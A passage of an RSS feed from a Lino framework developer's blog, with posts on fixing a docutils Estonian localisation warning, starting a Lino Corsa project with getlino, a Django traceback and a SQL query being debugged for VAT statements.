</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/1127.html</guid><pubDate>Sat, 27 Nov 2021 00:00:00 +0000</pubDate></item><item><title>rST localisation for language “et” not found</title><link>https://luc.lino-framework.org/blog/2021/1119.html</link><description>&lt;section id="rst-localisation-for-language-et-not-found"&gt;
&lt;h1&gt;rST localisation for language “et” not found&lt;a class="headerlink" href="#rst-localisation-for-language-et-not-found" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, November 19, 2021&lt;/p&gt;
&lt;p&gt;Today I upgraded docutils after some time. And afterwards I had the following
warnings when building a website in Estonian:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mysite&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;some&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;arbitrary&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;rST&lt;/span&gt; &lt;span class="n"&gt;localisation&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;et&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This was because docutils &lt;a class="reference external" href="https://docutils.sourceforge.io/docs/howto/i18n.html"&gt;now supports i18n&lt;/a&gt;. To fix the problem at
least for me, I said &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;cp&lt;/span&gt; &lt;span class="pre"&gt;en.py&lt;/span&gt; &lt;span class="pre"&gt;et.py&lt;/span&gt;&lt;/code&gt; in two source code directories below
docutils:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;…/lib/python3.8/site-packages/docutils/languages&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;…/lib/python3.8/site-packages/docutils/parsers/rst/languages&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/1119.html</guid><pubDate>Fri, 19 Nov 2021 00:00:00 +0000</pubDate></item><item><title>Together on our way</title><link>https://luc.lino-framework.org/blog/2021/1028.html</link><description>&lt;section id="together-on-our-way"&gt;
&lt;h1&gt;Together on our way&lt;a class="headerlink" href="#together-on-our-way" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, October 28, 2021&lt;/p&gt;
&lt;p&gt;Congratulations to Hannes and Sharif: They managed to collaborate completely
without my help and get Jane back after an accident during Upgrade. This is an
important little success in the history of Lino: a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-application-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;application developer&lt;/span&gt;&lt;/a&gt;
and a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-server-administrator" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;server administrator&lt;/span&gt;&lt;/a&gt; collaborating to maintain a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino site&lt;/span&gt;&lt;/a&gt;.
Lino is getting bigger than me.&lt;/p&gt;
&lt;p&gt;This is just one of many small signs I see almost every day and which tell me:
we are on the right way. Lino is in a kind of cocoon state. This blog is getting
less used as I delegate coding to Sharif whenever possible and as Jane becomes
our main communication channel.  We are together on our way as a team. We are
ready for the next Lino project without being in a hurry. We use spare time for
doing creative research work.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/1028.html</guid><pubDate>Thu, 28 Oct 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, September 25, 2021</title><link>https://luc.lino-framework.org/blog/2021/0925.html</link><description>&lt;section id="saturday-september-25-2021"&gt;
&lt;h1&gt;Saturday, September 25, 2021&lt;a class="headerlink" href="#saturday-september-25-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-corsa"&gt;
&lt;span id="corsa"&gt;&lt;/span&gt;&lt;h2&gt;Lino Corsa&lt;a class="headerlink" href="#lino-corsa" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started the &lt;a class="reference internal" href="#corsa"&gt;&lt;span class="std std-ref"&gt;Lino Corsa&lt;/span&gt;&lt;/a&gt; project, an application for managing races, i.e.
sport events where people compete against each other in order to see who’s the
best.&lt;/p&gt;
&lt;p&gt;This was my first usage of the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startproject.html#command-getlino-startproject" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startproject&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Go to your projects root directory:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd ~/projects
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Run &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startproject.html#command-getlino-startproject" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startproject&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ getlino startproject -c corsa
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Install the new Python package:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install -e corsa/
Obtaining file:///home/luc/work/corsa
...
Installing collected packages: lino-corsa
  Running setup.py develop for lino-corsa
Successfully installed lino-corsa-0.2.0
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Add the project to your &lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#xfile-.atelier-config.py" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;~/.atelier/config.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file.&lt;/p&gt;
&lt;p&gt;Decide whether you want to copy functionality from existing projects.&lt;/p&gt;
&lt;p&gt;For example, we started &lt;a class="reference internal" href="#corsa"&gt;&lt;span class="std std-ref"&gt;Lino Corsa&lt;/span&gt;&lt;/a&gt; with a copy the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;courses&lt;/span&gt;&lt;/code&gt; plugin from
&lt;a class="reference external" href="https://voga.lino-framework.org/index.html#voga" title="(in Lino Voga)"&gt;&lt;span&gt;Lino Voga&lt;/span&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cp -a ~/projects/voga/lino_voga/lib/courses lino_corsa/lib
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And then manually edited the copied source code.&lt;/p&gt;
&lt;p&gt;Edit the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/perms.html#xfile-user_types.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;user_types.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file of your new project.&lt;/p&gt;
&lt;p&gt;In our example we add the following to our &lt;a class="reference external" href="https://dev.lino-framework.org/dev/perms.html#xfile-user_types.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;user_types.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.courses.roles&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CoursesUser&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.modlib.office.roles&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OfficeUser&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;SiteUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SiteUser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CoursesUser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OfficeUser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;SiteStaff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SiteStaff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CoursesUser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OfficeUser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;SiteAdmin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SiteAdmin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CoursesUser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OfficeUser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Summary: we import the roles of the plugins, then tell Lino which user type
inherits from which role.&lt;/p&gt;
&lt;p&gt;Go to the demo project:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd ~/projects/corsa/lino_corsa/projects/corsa1
$ pm prep
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If you changed anything, you are likely to get error messages here.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0925.html</guid><pubDate>Sat, 25 Sep 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 8, 2021</title><link>https://luc.lino-framework.org/blog/2021/0908.html</link><description>&lt;section id="wednesday-september-8-2021"&gt;
&lt;h1&gt;Wednesday, September 8, 2021&lt;a class="headerlink" href="#wednesday-september-8-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;202109&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="n"&gt;ERROR&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="mi"&gt;29322&lt;/span&gt; &lt;span class="mi"&gt;140314402891648&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Internal&lt;/span&gt; &lt;span class="n"&gt;Server&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;RecentComments&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/handlers/exception.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;inner&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/handlers/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;181&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_get_response&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wrapped_callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;callback_args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;callback_kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/views/generic/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/views/generic/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;dispatch&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_react/react/views.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sliced_data_iterator&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_react/react/views.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;listcomp&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sliced_data_iterator&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_react/react/views.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;166&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;serialize&lt;/span&gt;
    &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;card_title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_card_title&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/requests.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1118&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_card_title&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_card_title&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/modlib/comments/ui.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;209&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_card_title&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_comment_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/modlib/comments/ui.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;137&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_comment_header&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;has_permission&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;TableRequest&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;has_permission&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0908.html</guid><pubDate>Wed, 08 Sep 2021 00:00:00 +0000</pubDate></item><item><title>Friday, September 3, 2021</title><link>https://luc.lino-framework.org/blog/2021/0903.html</link><description>&lt;section id="friday-september-3-2021"&gt;
&lt;h1&gt;Friday, September 3, 2021&lt;a class="headerlink" href="#friday-september-3-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am basically done with &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2406"&gt;#2406&lt;/a&gt;.  One “little detail” is still missing:
the result ;-) The button to export the &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-intra-community-statement" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;intra-community statement&lt;/span&gt;&lt;/a&gt; works
and produces a validated XML file, but the numbers are still wrong.  I need to
understand what is wrong with the SQL statement generated by
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatDeclaration.intracom_statement_iterator" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatDeclaration.intracom_statement_iterator()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. Here is an
indented example without the quote chars for readability:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;DISTINCT&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gsm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;country_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;city_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip_code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;region_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;street_prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contacts_partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;street&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
